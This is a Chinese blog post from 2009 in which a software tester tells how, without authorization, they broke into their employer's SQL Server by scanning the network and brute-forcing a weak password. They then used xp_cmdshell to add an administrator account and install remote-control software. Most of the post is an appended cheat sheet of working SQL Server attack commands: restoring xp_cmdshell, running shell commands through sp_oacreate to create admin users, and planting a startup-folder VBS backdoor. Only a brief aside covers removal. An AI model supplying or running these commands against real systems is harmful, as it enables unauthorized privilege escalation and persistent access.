测试与开发

记一次无意的侵入测试

上一篇 / 下一篇  2009-06-09 11:38:09 / 个人分类:系统安全

前年在一个图书管理软件的公司做测试,由于公司的软件相对于比较成熟,所以主要做的就是功能测试、安装卸载测试、兼容性测试与性能测试,对软件安全这块测试的比较少。
有一天,心血来潮,想着这个软件是否真的这样不可攻克呢?从来不做安全性测试,然后打定主意测试一次。
公司的软件是C/S的系统,连接的是sqlserver数据库。sqlserver数据库有漏洞这个是早有耳闻,所以就从sqlserver开始下手。
首先使用X-Scan-v3.3-cn扫描了一下这个局域网(公司系统管理员警觉不够啊,我扫描了一个小时他都没有发现),发现有几台电脑都是用户名为Administrator密码为空,不过这不是我的目标,暂时可以忽略。同时看到了目标主机的一些信息,80端口被关闭了,那么可能是没有连接外网,然后有一个135  445 等一些端口,这个也没有使用到,最重要的一个信息看到了,sqlserver连接用户名为原来公司拼音简写,密码显示为弱口令,这下有信心了,然后使用了一个简单的暴力破解软件,破解了密码。
哎,这么快就破解了这个数据库,也是我没有想到的,我以前一直以为这个系统真的是做的牢不可破呢!
既然进来了,没事就继续逛逛吧,记得sqlserver还有一个很危险的存储过程xp_cmdshell,不知开发人员有没有处理,写了个 EXEC sp_addextendedproc xp_cmdshell 'net user',竟然执行成功,显示了目标主机的所有用户,哎,现在我彻底无语了。然后我就直接使用XP_cmdshell这个存储过程创建了一个相当与Administrator权限的用户,而且在这台主机上安装了DameWare,呵呵然后带着这个漏洞想项目经理领赏去了。

附:xp_cmdshell的一些简单使用(其他网友经验)

开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

恢复xp_cmdshell
Exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
返回结果为1就OK

否则上传xplog7.0.dll
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'

扫到SQL弱口令后利用SQLTOOLS出现未能找到存储过程 'master..xp_cmdshell'
这种情况的主要原因是删除了扩展存储过过程xp_cmdshell,有一个恢复的办法,如果不成功说明被改名了

使用SQLTOOLS连接,连接后在利用目录下点执行数据库命令,执行:
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
运气好的话就成功了,如果你想让你的肉鸡用SQL执行不了DOS命令的话,执行:
sp_dropextendedproc "xp_cmdshell"
就执行不了DOS命令了,当然用上面的语句可以复原。

用SQLTOOLS可以连接成功,执行DOS命令,却总是显示这个、、、拒绝了对对象 'xp_cmdshell'(数据库 'master',所有者 'dbo')的 EXECUTE 权限。
怎么解决????
上传文件也不行。。。
1 未能找到存储过程'master..xpcmdshell'。

恢复方法:查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕。

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)

恢复方法:查询分离器连接后,

第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕。

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕。

四.终极方法:

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:

查询分离器连接后,

2000servser系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'

xp或2003server系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'

还不行就没办法了

方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

GO

然后按F5键命令执行完毕

方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc 'xp_cmdshell' 然后按F5键命令执行完毕


1 未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕

四.终极方法.如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
1,查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user yszar andylau /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators yszar /add'

xp或2003server系统:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'

或者可以

declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'XXXXX'\\XXXXX为你要执行的命令


有时候用查询分离器连接执行以上语句的时候会出现找不到存储过程 sp_addextendedproc

解决方法:

create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
这段代码贴入查询分离器,执行


1.突破xplog70.dll

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user 用户名 密码 /add','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net localgroup administrators 用户名 /add','0','true'

2.恢复xp_cmdshell
先尝试恢复xp_cmdshell,sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
结果发现xpsql70.dll被删除。

然后写vbs文件到启动组里面:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'

3.去除SA的xp_cmdshell权限
如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

4.上传xplog7.0.dll:

exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'

 


TAG:

学习加交流 引用 删除 bichenlu   /   2009-07-06 13:56:22
呵呵 没事  谢谢
引用 删除 wq134389   /   2009-07-01 21:30:32
按错咯,不好意思
本来是弄5分的
引用 删除 wq134389   /   2009-07-01 21:29:34
-5
愚人也有梦想 引用 删除 愚人   /   2009-06-16 16:51:57
1
天空下下雨的工作间 引用 删除 天空下下雨   /   2009-06-13 09:21:25
5
学习加交流 引用 删除 bichenlu   /   2009-06-10 16:29:43
呵呵   谢谢大家
honghong806的个人空间 引用 删除 honghong806   /   2009-06-10 15:28:11
5
sunny的测试生活 引用 删除 测霸   /   2009-06-10 14:27:20

厉害的MM,我也试试我们公司的。
sunny的测试生活 引用 删除 测霸   /   2009-06-10 14:26:56
5
引用 删除 just4you77   /   2009-06-10 11:28:34
5
悠悠着然 引用 删除 gcm_xp   /   2009-06-10 11:17:25
5
学习加交流 引用 删除 bichenlu   /   2009-06-09 14:02:04
 

评分:0

我来说两句

Open Toolbar